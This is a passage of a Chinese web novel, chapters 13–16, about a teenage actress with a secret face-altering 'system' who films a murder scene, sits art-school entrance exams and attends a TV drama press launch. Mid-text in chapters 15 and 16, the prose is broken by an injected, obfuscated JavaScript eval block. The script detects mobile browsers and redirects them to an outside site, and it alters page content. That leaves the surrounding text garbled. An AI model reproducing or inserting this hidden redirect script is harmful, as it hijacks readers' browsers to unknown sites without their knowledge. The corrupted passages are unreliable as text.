“你的就是我的，长本事了啊，跟老子摆起来了，看来是还没被打服。”纪华大喘气，左顾右盼似乎在寻找趁手的工具。 只见他提起扫帚，用扫帚上的木棍狠狠地对着黄东英抽打。 黄东英到处躲避。 因为走位不对，这里还暂停两回，导致不管是孟开颜还是陈榆高青健都得再次重拍。 等走位顺了，两人觉得情绪不如第一次发挥得好，于是继续重拍。 好不容易都顺了，孟开颜里面出了岔子。 她因为消食消过头导致肚子造反，发出咕噜咕噜声，好死不死被录音机收到。 不用多说了，第五镜开始。 13、第十三章 凌晨，气温降至15c，因为空气湿度大，体感温度要比15c来的低。 孟开颜披着羽绒服，手里捧着化妆老师刚刚给她煮的热奶茶。 化妆老师边给她补妆边说：“我用无糖桂花乌龙煮的，热量还没苹果高，放心喝吧。” 又笑道：“你妈人可真好，我昨天随口说句想吃烧鹅，她今天中午就给我带了半只，味道还很不错，广东人做鹅是真有一手。” 孟开颜明白了，难怪她和化妆老师只是一般般熟，化妆老师却给她煮奶茶，剧组里就她和导演有。 妆很快补好，意外的是孟开颜的脸庞对比白天要更加红润。 “激动的时候脸就是要红些。”化妆老师左看右看似乎还是有些不满意，于是又刷几下腮红到脸上。 “小孟准备好了吗？”陈榆催促。 孟开颜：“好啦。” 她照照镜子，往摄影机前走去。 黄东英在反抗时意外将纪华杀害，此刻高青健饰演的纪华就躺在地上，身上还插着把杀猪刀。 场景无比真实，孟开颜忍不住感叹：“道具老师和化妆老师真牛。” 陈榆：“是吧，花大价钱的。” 正闭着眼睛酝酿死意的高青健插嘴：“折腾我半小时。” 陈榆踢踢他：“你别说话，躺好别动啊，位置和前面那条对不上就完了。” 场记板再次响起。 孟开颜站在房门后，门里门外两个镜头对准她。 拉开门上插销，当她露出大半身体时门外仰拍的镜头缓缓近移，记录下孟开颜明暗各半的脸。 这个镜头很有意思，房里黑暗房外明亮，纪瓶从屋里出来，也是从黑暗中出来，可这次代表她的却是副人格。 纪瓶站在明暗交界处，直勾勾盯着地上的纪华，声音平静得没有半点波动：“妈。” 瘫倒在地的黄东英没说话，两只手僵硬地悬在胸前，只一个劲儿地大喘气。 片刻后，缓缓转头和纪瓶对视。 这段眼神戏在开拍前孟开颜和陈榆排练了起码20遍，前期孟开颜一直不过关，总觉得缺了点什么。 直到孟开颜对戏对得精疲力尽，情绪被压榨得一滴不剩时才琢磨明白，缺的“欣慰”。 “你居然杀了他啊。” “你早该杀了他的。” 从小遭受家暴的纪瓶大概率会有这种想法，她希望同样遭受家暴的母亲能奋起反抗，拯救自己也拯救她。 母女俩对视着，纪瓶慢慢往外走。 她站在纪华旁，居高临下地看着那具与死猪无异的尸体。 纪瓶：“该怎么处理？” 黄东英依旧没说话。 纪瓶也不在意，沉默片刻，从角落的柜子中翻出落灰的屠夫围裙，而后穿到身上。 接着又取出一把杀猪刀，蹲在尸体旁仔细端详，似乎在思考从哪里开始分。 猪是先切开肚子，那他呢？ 纪瓶考虑片刻，觉得学着猪来就好，于是把锋利的刀往纪华肚子处伸去。 当她要把刀插进去时，黄东英握紧她的手腕，颤抖着将她手里的刀抢走，在纪瓶疑惑不解的眼神里率先割下第一刀。 “咔，过了——” 副导演喊停，这条意外顺利。 之后又保一条，冷得地上的高青健脸色都青了，看着倒是意外和角色此时的状态相配。 时间来到凌晨一点。 孟开颜已经升起困意，道具组布置场景时她不停地打着哈欠。 陈榆：“没拍过这么晚的戏吧。” 孟开颜摇摇头：“没有。不过夜戏还是有拍过。” 陈榆搓搓手：“现在倒还好，从前的剧组是真不把人当人使唤，为压缩成本拍一天一夜的都有。不过那时候轧戏的人也多，我就同时拍过两部戏，赶完白场赶夜场，这是真能累走半条命。” 孟开颜：“都是主演戏吗？” 陈榆笑笑：“哦那倒不是，一部主角一部女二，好在成绩都不错，让我当时的付出都有了收获。” 想起什么又叮嘱说：“你可千万别轧戏，这放在现在特招骂，名声都得臭一半。不过轧戏确实是不好，对角色的伤害太大，我现在回想起来总觉得那时候可以演得更好。” 孟开颜猛点头：“嗯，不轧。” 一点半，再次恢复拍摄。 这回拍摄的是母女分尸的过程。 孟开颜再次感叹一遍道具组的神奇，断手断脚居然做得如此逼真。 大概是被道具吸引走一部分的注意力，孟开颜连拍两回都没在状态，直到第三镜时才打起精神。 拍完分尸，再拍运送尸体去猪圈的戏份，这就是户外戏了。 一直到凌晨五点才结束拍摄。 孟开颜想起副导演说的“两点”，忍不住撇撇嘴。 副导演的话果然不能信。 —— 电影拍摄了2个月，期间孟开颜还回了趟学校参加联考。 她成绩落的有点多，从班级前10名一路掉到30名，这让孟开颜有点失落。 简珍珠安慰她：“没关系的，这是因为在剧组里没时间学习，等杀青后咱们报个补习班补课，成绩自然能提上去。” 闺女是个要强性子，自打上学以来就没考得这么差过，看来是要郁闷一阵了。 “嗯。”孟开颜生无可恋地靠在车窗上，依旧闷闷不乐。 “也不晓得你这性子随了谁，我跟你爸都挺看得开的。”简珍珠边开车边嘀咕，“想来是有些像你小姑，你小姑年轻时也跟你一样要强。上学时成绩得争第一，到国外读书还得争第一，没拿到奖学金大半夜打电话回来哭。” 孟开颜吐吐舌头：“妈你这是乱讲，明明就像你，小姑说你最要强。” “在这上面我自认还是略次你小姑一筹，不过你多学学你小姑总没错。” 四月中旬，电影彻底杀青。 孟开颜既赶上开机又赶上杀青，也算是在剧组里坚守到最后一刻的人了。 “累吗？”陈榆问她。 孟开颜很实诚：“累，但是也爽。” 陈榆：“确实让你演爽了，后面你都要飘了，把刘钰的戏瘾都给激了出来。他昨儿还跟我说好久没演得这么酣畅淋漓过，说你是可造之材。” 昨晚的最后一场戏就是刘钰和孟开颜对峙的戏。 一个警察，一个嫌疑犯，两人在审讯室中把戏飙到极致，惹得原本要离开的演员都留下围观。连正在掌镜的陈榆都被吓到，她还是隔着屏幕呢。 孟开颜惊喜：“刘老师真这么说啊？” 陈榆：“这么激动，我还能骗你不成。” 孟开颜倒也不是激动，因为刘钰是央戏的老师，他既然这么说，就说明还算认可自己，这使得孟开颜对艺考这件事信心大增。 陈榆：“得，杀青后好好休息一阵。平时跑跑步爬爬山，别太关注社会新闻。” 经过两个月的相处，陈榆是真有点喜欢上这姑娘。 有灵性，还听话。 有灵性的演员不是没有，可这类人往往会比较固执己见，比如她。 陈榆觉得自己年轻时比不上孟开颜，那时候的她天老大地老二我老三的，在她眼里自己演技天下第一好。 演绎角色时总是会塞进去自己的想法，被导演骂后还不服气，直到有导演公开表示不会再用她时她才改。 改也不是自愿的，纯粹被逼。好几年后才意识到自己当时其实狗屁不是，还心比天高。 孟开颜就不同了，有意见会先跟她沟通，即便被她拒绝孟开颜也不会面是背非，态度端正得她助理都觉得她太过独裁。 此时怕孟开颜太过入戏，特意叮嘱一句，生怕小姑娘被这部戏搞出阴影。 孟开颜不是不识好歹的人，乖乖应好，她确实应该靠户外活动转移注意力。 纪瓶和小叔纪洪争斗时受伤了一条腿，拍摄后期孟开颜走路时都是一瘸一拐的，导致她在戏外走路时也会不自觉的高低脚。 “……” 嗯，这会儿好像又把全身重量压到右脚上了。 唉！ 杀青后孟开颜再次回上海，过着三点一线的生活。 每天睁眼就是背单词，边刷牙边背。去学校的路上就背语文，开车送她的简珍珠被各种文言文折磨得不轻。 简珍珠跟孟明海吐槽：“现在的我背得比读书时还熟练。” 等学校放学了，简珍珠还得接她去上补习班。 从傍晚六点半上到晚上九点半，孟开颜愣是坚持了三个月，把成绩提回去后才结束这种日子。 七月中旬，孟开颜再次迎来暑假。 今年暑期异常闷热，似乎气象台每天都在发布高温预警。 而她的幸运似乎也在去年用完了，暑假前面试了三个剧组，三个剧组都没有后续。 这再次打击到孟开颜。 尤其是最后一个剧组，她的自我介绍还没说完，就见选角导演皱着眉头摇摇头。 为什么呢？ 孟开颜摸摸自己的脸。 14、第十四章 随着天气越来越热，小区里的老人们都把运动和买菜的时间往前提了提。 老房子隔音差劲儿，孟开颜大早上就能听到嘿嘿吼哈的打太极声，以及哐哐哐哐的剁骨头声。 声音恼人却也没办法，都是这么多年的邻居了，低头不见抬头见的，只能提早一小时睡觉。 然而孟开颜昨晚是12点多才睡着的，这会儿脑袋胀得她好心情都消散几分。 很显然，她昨晚又对自己的脸做了一番优化。 孟开颜敢说昨晚的捏脸绝对是她目前为止手最巧的一次捏脸，也是用时最长的一次捏脸。 截止到昨晚，她系统账上有93个星光点，孟开颜这回没给全用了，预留了23个星光点给皮肤。 夏日炎炎，孟开颜又是容易晒黑人群，她必须要考虑到肤色。 其他的70点呢？孟开颜掀开被子跑到梳妆台前，细瞧镜子里那张已能在娱乐圈里称句还算清秀的脸。 明明无比熟悉，却又透着些微陌生。 好像哪里变了，好像哪里又都没变。 那是因为她的五官形状都没动，动的是位置，眼睛到嘴巴的位置，也就是垂直向比例。 她把它们的距离稍微缩短了几毫米。 稍微了解一点整容知识的人都晓得，只要脸上五官位置正确，不管五官长得如何，手巧的医生总能化腐朽为神奇。 若你同时还头小脸小，那恭喜了，你属于整容圈里的罗马人。 要是你比例不对，即便五官再精致，那也无从下手。 骨头还能磨，三庭却难改，孟开颜若没有系统也不敢去动三庭。 这回一动，直接把她70个星光值花光，而且动的效果还不够，因为她此时的调整是基于上庭下庭的调整，基于五官大小的调整。等哪天她开始调三庭的其他位置以及五官时，中庭或许就得再动动，这其中要投入多少星光值孟开颜想都不敢想，反正对现在的她而言绝对是天文数字。 总之，她昨晚花费的三小时和70星光值没有白费，孟开颜能够清楚地感受到自己的脸发生了小质变，爬上新台阶。 但这也引发一个后遗症，那就是她最近都得化妆了。 对于不经常见到她的人而言，她这种变化完全能用“长开”来形容。 但对于每天生活在一起的父母却不行，从前几回的改变还能说是小改变，肉眼无法清楚感知。可这回的他们绝对能瞧出不对劲之处。 孟开颜必须靠着化妆瞒天过海，等父母看多她化妆的脸后再看现在的脸才不会觉得怪。 好在孟开颜化妆品充裕，十多分钟的时间化出个稍微有点浓的上镜妆。 边化边懊恼：往后可不能贪心了，这种大项目得用半月到一月的时间慢慢调。 一口气可吃不成大胖子，只会把自己给撑死。 化完打开房门，简珍珠正拎着刚买的菜回来，看到后属实是愣了愣，好奇问：“别开生面啊，妮妮你这是要出门？” 孟开颜摇头：“没呢，就是突然想练练化妆手艺。” 简珍珠将钥匙挂在房门后，拎着大包小包的菜去厨房：“确实得练，我看剧组里那些群演小姑娘们都随身带化妆包，好多人都化得一手好妆。” 孟开颜一路蹦过去挽着简珍珠的胳膊，眨眨眼：“那妈你觉得我今天漂亮吗？” 简珍珠摸摸她脸：“漂亮，看你的那一下觉得房子都亮了。” 孟开颜脸红：“那我这几天多化化。” 简珍珠：“化呗。缺化妆品吗？缺的话妈给你买。” 孟开颜：“不缺，我化妆品用得可慢了，前年买的都还没用完。”口红还好些，眼影盘六七盘放着动都没动。 接下来半个月，孟开颜每天不落的化，前一周各种风格的浓妆，后一周则是淡妆，跟开盲盒似的，惹得孟明海每天都得等她化完妆后再去上班，就想知道闺女儿今天又把自己化成啥样。 半月后，简珍珠和孟明海成功接受了孟开颜现在的模样。 只是心细的简珍珠还是忍不住嘀咕：“这两年妮儿你长得真快，要不是天天跟你待一块儿，我还以为你跑去整容了。” 孟开颜嘿两声不说话。心道：没想到吧，真整容了。 —— 没戏拍的日子孟开颜觉得很无聊，她还是喜欢在剧组里工作。 好在暑假很快过，转眼间又得开学，也正式成为一名高三生，这代表着她要为即将到来的统考和校考做准备。 简珍珠比她焦虑：“我听你小姨说好多人都会报个培训班，妮儿你要不要也报一个。” 孟开颜正弯腰在鞋柜处穿鞋子，把从侧边垂下的书包往后一甩：“不用，杨老师说会帮我把把关。哦，还让你也别给她送包了，送也不收。” 杨苏叶虽然没在表演学院里当老师，但她是三大院校里出来的，深耕戏剧20年，资历比学院里的有些老师还深呢。 简珍珠叹道：“不送就不送，杨老师人真好，真把你当学生看待了，改天我去你吴姨那里买几瓶土蜂蜜，你带去给杨老师。包不要，蜂蜜总得要了吧。” 吴姨真名就是吴怡，是简珍珠好姐妹，老家在吉林长白山地区，家人养蜂的，在她那儿能买到最纯正的土蜂蜜。 孟开颜跺跺脚，开门：“蜂蜜可以，杨老师经常用嗓，蜂蜜能润喉咙。” 说完出门，她赶着去上课呢。 随着升入高三，班级氛围渐渐紧张，每周都在考试和讲卷中度过，孟开颜都不由得感慨还好没接戏，否则她成绩指定又得掉。 这一掉，就得掉到末尾了。 不过这段时间也不是没有好消息，孟开颜从陈曼导演那里得知电视剧已经下证了，被央视当成明年开年大剧，名字也从一开始的《成长之路》改成《钢铁女人》。 这个消息支撑着孟开颜度过高三上学期这个糟糕时间段，焦虑的情绪全凭这个消息压。 剧团。 杨苏叶正在指导孟开颜该怎么演唱。 “歌能唱得好听当然最好，但统考让你唱歌主要是为了考察你的嗓音和表现能力，再深点就是你的节奏，对歌曲歌剧的理解，所以硬扒调没意义，你把重点放在表现力上就好。” 杨苏叶揉揉刚刚被其他学生荼毒得不轻的耳朵说道。她有包括孟开颜在内的五个学生需要指导，每到这时候总有人托关系把学生塞到她这里让帮忙看看。有的是朋友有的是亲戚，很难拒绝。 有个姑娘戏演挺好，但歌唱得一般，说一般都算抬举，其实是到五音不全的地步，曲不成曲调不成调，杨苏叶听得直皱眉。 好在孟开颜很全能，但就是太全能导致她很要强。这种项目能过就行，非得练到最好，杨苏叶这种时候也挺无奈。 像现在，孟开颜又犟了。 只见她挠挠脸，犹豫片刻道：“我还是想练练。” 杨苏叶叹气，就知道是这样：“哎你这孩子，练吧练吧，11月中旬尽量考个好成绩，统考成绩能保底。还有文化课抓紧点，没过本科线统考校考考得再好都没用，这项政策公布后好多学生就栽在文化分上。” 孟开颜点头：“这您放心，我成绩一向不错。” “你确实最让人放心。”杨苏叶看眼时间：“继续吧，我去隔壁转转。” 孟开颜和其他四人压根不是一个层次，孟开颜已能算一名演员，其他四个还是菜鸟，放一起练习她能把那四个打击得信心破碎。 杨苏叶离开，孟开颜也不浪费时间，继续在房间练唱。 唱的时候用手机录下来，唱完后再听听有没有哪里跑调，哪里感情不够。 傍晚，孟开颜收拾东西回家。 回到家，把笔记本上的待办事项又划掉一项。 朗诵练完了，歌曲也练完了。 如今就差形体技能和即兴表演。 即兴表演是现场抽题，没法先练，倒是形体技能有点让她为难。 孟开颜曾经学过几年的古典舞，但她得有三四年没再练过了，即使这段时间一直在压腿也有点力不从心。 她一向是事要做就做到最好的性子，可形体吧……要是一个不小心练得过猛把自己伤到怎么办？她还得去考试呢。 孟开颜思来想去，决定找个简单的舞蹈跳跳，别再折腾自己。 天气转凉，到了要栽种油菜的时候，简珍珠老家在浙江，每到这时候孟开颜外公总要回老家栽油菜。 简珍珠这两天就念叨：“再过两年就七十了，还这么能折腾，也不怕扭到哪儿。” 孟明海：“老人有精力是好事。” 简珍珠翻白眼：“他还惦记着让开颜周末时陪他回老家呢，脑袋跟浆糊一样，半点成算都没有，还没我那后妈懂事。我后妈还晓得开颜今年是高三，马上还要艺考的，不该打扰孩子，他个亲外公竟然不晓得。” 孟明海：“江阿姨人不错。” 简珍珠：“是吧，我爸就配不上人家。” 说着，转头朝着孟开颜房间喊：“妮儿，统考缴费你缴了没？” 孟开颜大汗淋漓：“缴完啦。” 练舞累人，好在效果喜人，经过一周的练习已经达到她要的标准。 歇息片刻，孟开颜起身到书桌前，拿起笔又划掉一项。 秣马厉兵，只待统考和校考。 15.第十五章 秋风瑟瑟，道路两边的法国梧桐树叶由绿逐渐转为半黄。 这是孟开颜最喜欢的时节，冷热适宜，街上到处是景，风也没有冬风那般烈，吹拂而来的时候心情都能轻扬几分，偶尔还能闻到不知从哪家店飘出来的面包香。 简珍珠开车将她送到上海戏剧学院门口，叮嘱道：“别紧张，考完妈带你去吃火锅。” 孟开颜下意识咽口水：“好。” 她得有一年多没吃火锅了吧，完了，这下考试的时候都得惦记着火锅了。 进场时间到，孟开颜随着人流一同进入学校。先到一处大厅内集合，在这里孟开颜拿到自己的号码牌。 “开颜，你几号？” 忽然，她肩膀被人拍一下。 孟开颜转过身：“静如！”这是和她一起在杨苏叶那儿培训的女生。 她低头看看号码牌：“28号。” 乔静如把号码牌拿起来：“哎，我和你差可远，我65号。” 孟开颜：“听说是五人一组，算一下你在13组，很快就能轮到你。” 乔静如笑道：“离你远点也好，你太变态了，我要是跟你分一组指定得傻掉。” 孟开颜把外套拉紧：“能人多着呢。”这会儿一个两个的都在开嗓或者压腿，看得她还怪紧张的。 很快，有工作人员拉人去卸妆，被拉去的还不少。乔静如也被拉走，就连孟开颜都被细细看了看。 “没涂粉底液吧？”工作人员盯她好几秒后问。 孟开颜猛摇头：“没有。” “来，我擦擦。”工作人员拿着湿巾直接上手，用力擦两下见没变色才离开。 不久，乔静如卸完妆回来。 她心情还不错，高兴道：“这请化妆师的钱果然没白花，眼线都没擦掉。” 孟开颜凑近瞧：“哎真的，眉毛也没擦，用的染眉膏吧？” “对。还有口红，是不是很裸，其实我有涂口红。”乔静如撅起嘴巴给孟开颜看，而后左右看看小声说，“咱们这届好多人带妆，化得特别淡的都没检查出来，开颜你真老实。” 孟开颜用力抿抿嘴唇：“其实我也有用唇釉，染色很厉害。”不光如此，在考前一周还用账上剩余的星光值改善了皮肤，所以现在皮肤状态特好。 “是吗，我都看不出来，就感觉你气色特别好。等等，开颜你帮我拿下手机，我整理头发。”乔静如将手机递给她，对着手机屏幕又道，“现在真是八仙过海，各显神通。你不知道吧，梁龙还特意去医院打玻尿酸和水光针，恢复得也挺好。” 孟开颜回想一下这人：“他皮肤状态确实该打，有点过糙。”就是维持效果大概一般，得经常去补。 “早晓得我也去做做医美了。”乔静如有点后悔，“还有半永久。” 两人没聊多久，很快，第一组的人开始去考场。等待着的考生们肉眼可见地紧张起来。 孟开颜是半小时后去的，攥着U盘往教室走去。 声台形表，声音台词连着考。 孟开颜先考唱歌，唱完再去隔壁朗诵，紧接着是即兴表演，即兴表演最容易出错，也最怕遇到不稳定的“炸弹”。 什么是炸弹？那种成绩一般，已经预见到自己不会过的人就是炸弹，这种时候他们往往会靠着扰乱考试的手段拉其他人下水。 很不幸，孟开颜遇到了。 考场包她四人，抽取到的题目是《丢手机的人》。 孟开颜才看到题目呢，组里唯一一位男生便道：“我演丢手机的人吧，再来个捡手机的人，一个警察，一个路人就行。” “我演警察。”长头发女孩立马发言。 孟开颜意外看她一眼：“那我捡手机的人。”这姑娘大概是排练过类似角色。 剩下的女孩有些不满意，路人很难出彩。但她性格有点软，最终还是点点头。 剧情很简单，就是男生丢手机，孟开颜捡到手机，随后发现手机上有裂痕，因着这个裂痕引来警察和仗义执言的人。 时间紧迫，几人也没耽搁。 男生率先发问：“我手机是摔地上了么，为什么我手机上会有裂纹。” 孟开颜正要开口，只听那男生又道：“我手机壳后面有钱的，现在钱怎么也没了。” “算了算了，钱你就拿走吧，但还找我讨要好处费是不是有点不妥？” 要死了，遇上杨老师说的情况了，孟开颜在这一刻脑袋确实懵了一瞬。 要是有摄像机正对着她脸，绝对能把她那空洞半秒的眼神记录下来。 但她好歹演过几部戏，又被两位陈导演指导过，所以虽然懵，声音却没慌，心也没乱。 孟开颜翻个白眼，摆出被气笑的表情，哼声道：“这位同学别太离谱，你手机上面裂点有三个，个个都是由尖锐物品造成的，摔地上能摔这样吗？” 男生要接话，孟开颜往前走一步强势压回去：“再者，你手机壳是透明壳，我捡手机的时候这位同学在场，里面分明就没有钱。” 软性子女生也不傻，见孟开颜主动拉她进场接话接得特别快：“对，你想讹人就直说，现在是线上支付年代，能有多少人在透明手机壳后面放钱。” 孟开颜：“你也不要算了，我不接受你的污蔑，我喊警察吧。” 男生做出看时间的动作，摆摆手：“麻烦死了，你们一伙儿的，我没时间和你们争，钱我也不要了。” 台词稀烂， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14516579|153873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘟嘟囔囔说都说得不清楚，他这是不想演了。 演警察那姑娘明显急得不行，朝着孟开颜不停看。 孟开颜想着这已经垮大半的表演，心里叹声气，还是硬着头皮演下去：“别想跑，前面就是派出所。” 边说边使劲儿拉他，走一圈就算到派出所了。 演警察的姑娘这才出场，噼里啪啦说一大堆的话，但孟开颜明显能听得出来她声音在颤抖，连手都在抖。 路人姑娘觉得自己刚刚表现不够，于是在旁边补充。 两人都挺急的，男生又想跑，孟开颜想插话引导一下结束都插不进去，反正后半段一整个崩坏。 等出考场时演警察的姑娘差点哭出来，只能用深呼吸平复心情。 孟开颜没多说，这种时候安慰她很有可能让她情绪爆发，犹豫片刻还是考试去了。 最后一项是形体，她带了两把花鸟古典舞扇来，这次没发生意外，很顺利地完成考试。 阳光明媚，套着外套的孟开颜被晒得有点热，怕被老妈念叨又没敢脱。 简珍珠递捧花给她：“考得如何？” 孟开颜接过花，狠狠吸两口，耷拉着眼皮说：“遇到奇葩，不过我应该还可以。” 简珍珠担忧：“真还可以？” 孟开颜点点头，怕她担心，就把事儿简单说了下。 简珍珠气得直拍方向盘，怒道：“这就是害人精，自己不会过还故意害别人。得把他拉黑才行，明年也不准他参加统考。” 孟开颜拍拍脑袋，决定不去想这些：“妈我们吃火锅去吧。” 简珍珠启动车辆：“好，吃火锅去去晦气。” “……” 简珍珠女士好像越来越迷信了。 统考结束，接下来就得准备校考。 校考时间一般在一月份，而且还会调整，没有报培训班的孟开颜得时时关注学校网站，以免错过考试。 夜晚。 孟开颜洗完澡准备睡觉，手机消息声响起，竟然是陈曼导演。 陈曼：“12月28号咱们的剧在北京有发布会，小孟你当天有时间吗？” 孟开颜瞪大眼睛，立马看眼日历，是周六呢！快速回复道：“有的。” 陈曼：“那你来一趟，到达后和我助理沟通，地址我等会儿发给你。” 孟开颜：“好的陈导。” 然后发个“兴奋”表情包。 她是真兴奋，放下手机在床上蹦好几下，卷着被子滚来滚去。 “啊啊啊啊，爸爸妈妈，我要去参加发布会啦——” 孟开颜嚎得隔壁许阿姨都听到了声音，吓得正在帮孙子改作业的她在作业本上留下一条鲜艳的红痕。 16.第十六章 发布会在周六举办，孟开颜和简珍珠在周五那天晚上便乘坐飞机飞往北京。 到北京时已是晚上九点半，母女俩匆匆在机场附近找家酒店休息，准备第二天再联系陈曼助理。 孟开颜困得要命，几乎是沾枕就睡，再醒时天光大亮。 她迷迷糊糊翻个身：“妈，几点了？” 简珍珠正准备去洗漱：“六点半，我点的早餐还没到，你可以再睡会儿。” 孟开颜没继续睡，揉揉眼睛坐起身，愣是呆呆地坐了两分钟才掀开被子下床。 她拉开窗帘眼睛被窗外白雪晃了一下，惊喜道：“嚯，好大的雪。” “是吧，刚刚我还看到有俩小孩在下面堆雪人呢，才堆一半就被爹妈带回酒店，还跟咱们同层，叫的动静咱们房间都能听到。”简珍珠摇摇头，“这酒店隔音一般，下回要是再来就不住在这儿了。” 吃过早饭，两人前往会议中心，发布会在会议中心举行。 陈曼的助理叫关馨，孟开颜在剧组里经常跟她在大监边蹭黑旗，所以两人关系还不错。 关馨今天见孟开颜的第一眼格外震惊，拉着她看好几眼：“就一年时间而已，开颜变化怎么这么大。” 简珍珠：“是吧，她今年长开特别多，我天天见她都能察觉出来。” 关馨摸摸孟开颜的脸：“怎么长的？越长越好看了。” 又用手比划比划她头：“也高不少吧？我上回见你时你还跟我一样高，现在高我两指是有了。” 孟开颜点点头：“有，跟去年夏天比长高三厘米。” 关馨拍拍她：“又高又靓啊，陈导见到你绝对大吃一惊。走吧，你们到挺早，不过陈导已经来了，在里面打电话呢。” 如关馨所说，陈曼见到孟开颜的那刻确实大吃一惊，第一反应是这姑娘该不会跑去整容了吧？ 可再看一眼就能晓得根本没整，反正这张脸不是刀子能整出来的。 她当导演这么多年，微整的不敢说，小整的她一眼就能看出来，不管整得多么自然多么的好。 陈曼越看越啧啧称奇：“你这种的太少见了，只能是骨骼在发育，还是往好方向发育。难怪陈榆说我水平下降，我还跟她骂了一仗呢。不过你也得多注意注意两腮的问题，还有鼻子，这两个地方非常容易出问题。” 大鼻子的，发腮的，运气好没多大影响，运气不好颜值直接跟坠楼一样下降。骨骼问题动又不好动，能把在镜头里工作的演员愁死。 孟开颜笑笑：“好的陈导。” 陈曼：“跟你妈妈进去吧，发布会九点半开始。” 会场很大，孟开颜没在外面晃悠，只待在等待室里，简珍珠正在给她化妆。 半小时里来了好多人，她也见到好几位剧组里的演员，包括在今年频繁出现在热搜上的刘凌云。 孟开颜觉得他也挺能折腾的，拍完戏又跑去参加选秀综艺了。只是吧，现在国内选秀综艺的情况……好像跟49年入国军没什么区别。 至于为什么频繁上热搜，孟开颜好奇点进去看过几眼，好像是因为公司跟节目组发生矛盾，要退赛呢，粉丝喊节目组退钱来着。 不过热搜广场中活人不多，有趁着最后热度再自炒一回的嫌疑。 刘凌云不晓得是忘了孟开颜，还是没认出她来，瞅她好几眼愣是喊不出名字。 “她谁？”他偷偷问助理。 助理摇摇头，两人就又出门了，没一会儿进来，刘凌云拎杯奶茶给孟开颜，拉着椅子凑近道：“小孟啊，你也来啦，我记得你家在上海。” 孟开颜心说这货绝对是出去问一遍后才晓得她家在上海的，不可能记得。 “是的刘老师。”孟开颜礼貌笑笑，“谢谢您，不过我最近减肥不能喝奶茶。” 刘凌云也不在意，直接给助理，又靠近问孟开颜：“你今年大几了？” 孟开颜：“……我高三。” 这么小！刘凌云卡壳半秒：“那你在准备艺考了吧。” 孟开颜：“嗯，我刚刚统考完。” 刘凌云就夸她：“你外形条件还行，演技不错，三大还是很有可能的。哎我是北影的，你要是需要了解情况可以来问我，我们加个微信吧。” 孟开颜总感觉哪里怪怪的，一转头看见简珍珠脸都黑了。 只见她脚一迈直接站到孟开颜和刘凌云中间，脚后跟再重重一踩，刘凌云没反应过来时就感觉到一阵痛感沿着左腿直上心头。 “不好意思啊，我在帮我女儿化妆，这会儿要上散粉了，您稍微离远点，我怕散粉飞到你身上。”简珍珠撇撇嘴巴，差点没翻白眼。 刘凌云想骂人，一听“女儿”两字瞬间萎了，怎么还有带妈妈来参加发布会的呢，片刻后讪讪离开。 门“砰”一声关上，简珍珠对孟开颜叮嘱道：“以后要是再遇这种人，不要给他脸，录音打开把话说清楚，再让他滚远点。” 孟开颜终于琢磨明白刘凌云刚才的行为是什么意思，立马点头：“我知道了。” 简珍珠把散粉用刷子轻轻扫她脸上，叹气说：“还是得找个经纪人，得你读大学我就去工作了，没经纪人真不行。” 孟开颜闭着眼睛：“陈榆导演让我别急，千万别被忽悠着签公司了。” 简珍珠：“也是，我听人说有些公司就靠解约金赚钱呢，古时候卖身契都没他们黑。” 九点半，发布会开始。 孟开颜作为小配角只能站旁边，和方群之间整整隔着六人。 她全程也只捞到一句“大家好，我在戏里饰演翠翠”的话，好在幸福都是对比出来的，看到刘凌云台都没上她心里顿时舒服多了。 接下来就是陈曼和方群的主场，台下的所有摄像头聚焦在她们身上，所有人的目光都望向她们。 你是谁？你在说什么？你在想什么？没人在乎。 最大的那盏灯打在她们身上，夺目耀眼，孟开颜的眼神好像都要被灯光吸进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14534362|153873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑袋里的一切仿佛变成浆糊，别人问了什么，陈曼和方群又回答了什么，入耳不过脑，站姿和表情完全依靠本能维持。 恍惚间只有一个念头：我一定要红。 —— 发布会半结束，还有一半是饭局。 当然了，饭局会比较私人，孟开颜本以为自己该走了，没曾想被陈曼喊住留下，还蹭上顿饭。 简珍珠吃完饭，低声对孟开颜说：“陈导人真好，我给你化完妆就把那事儿跟她说了，她直接没安排刘凌云上台。” 想想又道：“不过也不一定是因为咱们，这圈子里没这么多打抱不平的时候。” 孟开颜擦擦嘴巴：“不是，我刚刚听关馨姐说他最近风险有点大，怕引起争议就没让他上台。” 简珍珠：“那怎么还让他来？” 孟开颜：“经纪人硬塞来的，跟陈导有交情，大概是想买通稿重新往演员上靠。” 都已经能进大制作剧组演有名有姓的配角了，还在国内参加选秀节目当练习生……真是一步臭棋。 这条路诱惑真多，一不小心就能走错道，孟开颜时刻提醒自己一定要清醒。 “小孟，过来。”片刻后，陈曼隔着桌子招招手喊她。 孟开颜赶紧起身走过去：“陈导。” 陈曼搭着她肩膀，对桌上主位坐着的人说道：“这是我们剧组里的一小姑娘，还没18岁呢，但是戏演的特好，” 又对孟开颜说：“这是季子苓季制片，你喊季老师就好。” 孟开颜立马反应过来，微笑道：“季老师好，我叫孟开颜。” “喊我季姐就行。”季子苓笑笑，眼神在孟开颜脸上转一圈，问她，“小孟现在拍几部剧了？” 孟开颜回忆两秒，还是老实回答了：“八部，但是有出镜的目前只有三部。” 